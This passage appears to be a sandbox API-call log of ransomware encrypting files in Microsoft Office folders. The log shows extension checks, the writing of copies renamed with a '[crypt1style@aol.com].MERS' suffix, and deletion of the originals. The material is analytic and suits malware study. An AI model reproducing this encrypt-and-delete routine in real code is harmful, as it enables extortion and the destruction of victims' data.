lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0259.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned 68 [0259.096] lstrlenW (lpString=".jpg") returned 4 [0259.096] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0259.096] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0259.096] lstrlenW (lpString="OPTINPS.DLL") returned 11 [0259.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0259.098] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=18336) returned 1 [0259.098] CloseHandle (hObject=0x338) returned 1 [0259.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll")) returned 0x20 [0259.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0259.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0259.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0259.099] lstrlenW (lpString=".doc") returned 4 [0259.099] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0259.099] lstrlenW (lpString=".docx") returned 5 [0259.099] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0259.099] lstrlenW (lpString=".pdf") returned 4 [0259.099] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0259.099] lstrlenW (lpString=".xls") returned 4 [0259.099] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0259.100] lstrlenW (lpString=".xlsx") returned 5 [0259.100] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0259.100] lstrlenW (lpString=".ppt") returned 4 [0259.100] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0259.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0259.100] lstrlenW (lpString=".zip") returned 4 [0259.100] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0259.100] lstrlenW (lpString=".rar") returned 4 [0259.100] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0259.100] lstrlenW (lpString=".bz2") returned 4 [0259.100] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0259.100] lstrlenW (lpString=".7z") returned 3 [0259.100] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0259.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned 67 [0259.100] lstrlenW (lpString=".dbf") returned 4 [0259.100] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0259.111] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=15712) returned 1 [0259.111] CloseHandle (hObject=0x338) returned 1 [0259.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0259.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0259.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.233] WriteFile (in: hFile=0x398, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0261.234] ReadFile (in: hFile=0x3ac, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0261.234] WriteFile (in: hFile=0x398, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xea, lpOverlapped=0x0) returned 1 [0261.234] SetEndOfFile (hFile=0x398) returned 1 [0261.235] CloseHandle (hObject=0x398) returned 1 [0261.235] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0261.235] SetEndOfFile (hFile=0x3ac) returned 1 [0261.236] CloseHandle (hObject=0x3ac) returned 1 [0261.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0261.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0261.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.542] lstrlenW (lpString=".doc") returned 4 [0261.542] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.542] lstrlenW (lpString=".docx") returned 5 [0261.542] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.542] lstrlenW (lpString=".pdf") returned 4 [0261.542] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.542] lstrlenW (lpString=".xls") returned 4 [0261.542] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.542] lstrlenW (lpString=".xlsx") returned 5 [0261.542] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.542] lstrlenW (lpString=".ppt") returned 4 [0261.542] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.542] lstrlenW (lpString=".zip") returned 4 [0261.542] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.542] lstrlenW (lpString=".rar") returned 4 [0261.542] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.542] lstrlenW (lpString=".bz2") returned 4 [0261.542] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.542] lstrlenW (lpString=".7z") returned 3 [0261.542] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.543] lstrlenW (lpString=".dbf") returned 4 [0261.543] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.543] lstrlenW (lpString=".1cd") returned 4 [0261.543] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.543] lstrlenW (lpString=".jpg") returned 4 [0261.543] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.543] lstrlenW (lpString=".doc") returned 4 [0261.543] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.543] lstrlenW (lpString=".docx") returned 5 [0261.543] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.543] lstrlenW (lpString=".pdf") returned 4 [0261.543] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.543] lstrlenW (lpString=".xls") returned 4 [0261.543] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.543] lstrlenW (lpString=".xlsx") returned 5 [0261.543] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.543] lstrlenW (lpString=".ppt") returned 4 [0261.543] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.543] lstrlenW (lpString=".zip") returned 4 [0261.544] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.544] lstrlenW (lpString=".rar") returned 4 [0261.544] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.544] lstrlenW (lpString=".bz2") returned 4 [0261.544] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.544] lstrlenW (lpString=".7z") returned 3 [0261.544] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.544] lstrlenW (lpString=".dbf") returned 4 [0261.544] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.544] lstrlenW (lpString=".1cd") returned 4 [0261.544] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned 62 [0261.544] lstrlenW (lpString=".jpg") returned 4 [0261.544] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.544] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0261.544] lstrlenW (lpString="FINCL_01.MID") returned 12 [0261.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0261.547] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=12981) returned 1 [0261.547] CloseHandle (hObject=0x2dc) returned 1 [0261.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0261.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0261.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0261.547] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0261.547] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0261.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0261.548] GetLastError () returned 0x0 [0261.548] ReadFile (in: hFile=0x2dc, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x32b5, lpOverlapped=0x0) returned 1 [0261.579] WriteFile (in: hFile=0x2d8, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0261.580] ReadFile (in: hFile=0x2dc, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0261.580] WriteFile (in: hFile=0x2d8, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.580] SetEndOfFile (hFile=0x2d8) returned 1 [0261.580] CloseHandle (hObject=0x2d8) returned 1 [0261.580] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0261.581] SetEndOfFile (hFile=0x2dc) returned 1 [0261.584] CloseHandle (hObject=0x2dc) returned 1 [0261.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0261.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.585] lstrlenW (lpString=".doc") returned 4 [0261.585] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.585] lstrlenW (lpString=".docx") returned 5 [0261.585] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.586] lstrlenW (lpString=".pdf") returned 4 [0261.586] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.586] lstrlenW (lpString=".xls") returned 4 [0261.586] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.586] lstrlenW (lpString=".xlsx") returned 5 [0261.586] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.586] lstrlenW (lpString=".ppt") returned 4 [0261.586] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.586] lstrlenW (lpString=".zip") returned 4 [0261.586] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.586] lstrlenW (lpString=".rar") returned 4 [0261.586] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.586] lstrlenW (lpString=".bz2") returned 4 [0261.586] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.586] lstrlenW (lpString=".7z") returned 3 [0261.586] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.586] lstrlenW (lpString=".dbf") returned 4 [0261.586] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.586] lstrlenW (lpString=".1cd") returned 4 [0261.586] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.586] lstrlenW (lpString=".jpg") returned 4 [0261.586] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.586] lstrlenW (lpString=".doc") returned 4 [0261.587] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0261.587] lstrlenW (lpString=".docx") returned 5 [0261.587] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0261.587] lstrlenW (lpString=".pdf") returned 4 [0261.587] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0261.587] lstrlenW (lpString=".xls") returned 4 [0261.587] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0261.587] lstrlenW (lpString=".xlsx") returned 5 [0261.587] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0261.587] lstrlenW (lpString=".ppt") returned 4 [0261.587] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0261.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.587] lstrlenW (lpString=".zip") returned 4 [0261.587] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0261.587] lstrlenW (lpString=".rar") returned 4 [0261.587] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0261.587] lstrlenW (lpString=".bz2") returned 4 [0261.587] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0261.587] lstrlenW (lpString=".7z") returned 3 [0261.587] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0261.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.587] lstrlenW (lpString=".dbf") returned 4 [0261.587] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0261.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.587] lstrlenW (lpString=".1cd") returned 4 [0261.587] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0261.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0261.587] lstrlenW (lpString=".jpg") returned 4 [0261.587] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0261.588] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0261.588] lstrlenW (lpString="FINCL_02.MID") returned 12 [0261.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0261.589] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=9318) returned 1 [0261.589] CloseHandle (hObject=0x2dc) returned 1 [0261.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0261.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0261.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0261.589] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0261.589] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0261.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0261.589] GetLastError () returned 0x0 [0261.589] ReadFile (in: hFile=0x2dc, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x2466, lpOverlapped=0x0) returned 1 [0261.609] WriteFile (in: hFile=0x3b0, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0x2470, lpOverlapped=0x0) returned 1 [0261.836] ReadFile (in: hFile=0x2dc, lpBuffer=0x40c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afed4, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesRead=0x34afed4*=0x0, lpOverlapped=0x0) returned 1 [0261.836] WriteFile (in: hFile=0x3b0, lpBuffer=0x40c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34afc9c, lpOverlapped=0x0 | out: lpBuffer=0x40c0020*, lpNumberOfBytesWritten=0x34afc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.836] SetEndOfFile (hFile=0x3b0) returned 1 [0262.126] CloseHandle (hObject=0x3b0) returned 1 [0262.126] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec8 | out: lpNewFilePointer=0x0) returned 1 [0262.126] SetEndOfFile (hFile=0x2dc) returned 1 [0262.128] CloseHandle (hObject=0x2dc) returned 1 [0262.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0262.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.202] lstrlenW (lpString=".doc") returned 4 [0262.202] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.202] lstrlenW (lpString=".docx") returned 5 [0262.202] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0262.202] lstrlenW (lpString=".pdf") returned 4 [0262.202] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.202] lstrlenW (lpString=".xls") returned 4 [0262.202] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.202] lstrlenW (lpString=".xlsx") returned 5 [0262.202] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0262.202] lstrlenW (lpString=".ppt") returned 4 [0262.202] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.202] lstrlenW (lpString=".zip") returned 4 [0262.202] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0262.202] lstrlenW (lpString=".rar") returned 4 [0262.202] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0262.202] lstrlenW (lpString=".bz2") returned 4 [0262.202] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0262.202] lstrlenW (lpString=".7z") returned 3 [0262.202] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.202] lstrlenW (lpString=".dbf") returned 4 [0262.202] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.202] lstrlenW (lpString=".1cd") returned 4 [0262.202] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0262.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.202] lstrlenW (lpString=".jpg") returned 4 [0262.202] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.203] lstrlenW (lpString=".doc") returned 4 [0262.203] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0262.203] lstrlenW (lpString=".docx") returned 5 [0262.203] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0262.203] lstrlenW (lpString=".pdf") returned 4 [0262.203] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0262.203] lstrlenW (lpString=".xls") returned 4 [0262.203] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0262.203] lstrlenW (lpString=".xlsx") returned 5 [0262.203] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0262.203] lstrlenW (lpString=".ppt") returned 4 [0262.203] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0262.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0262.203] 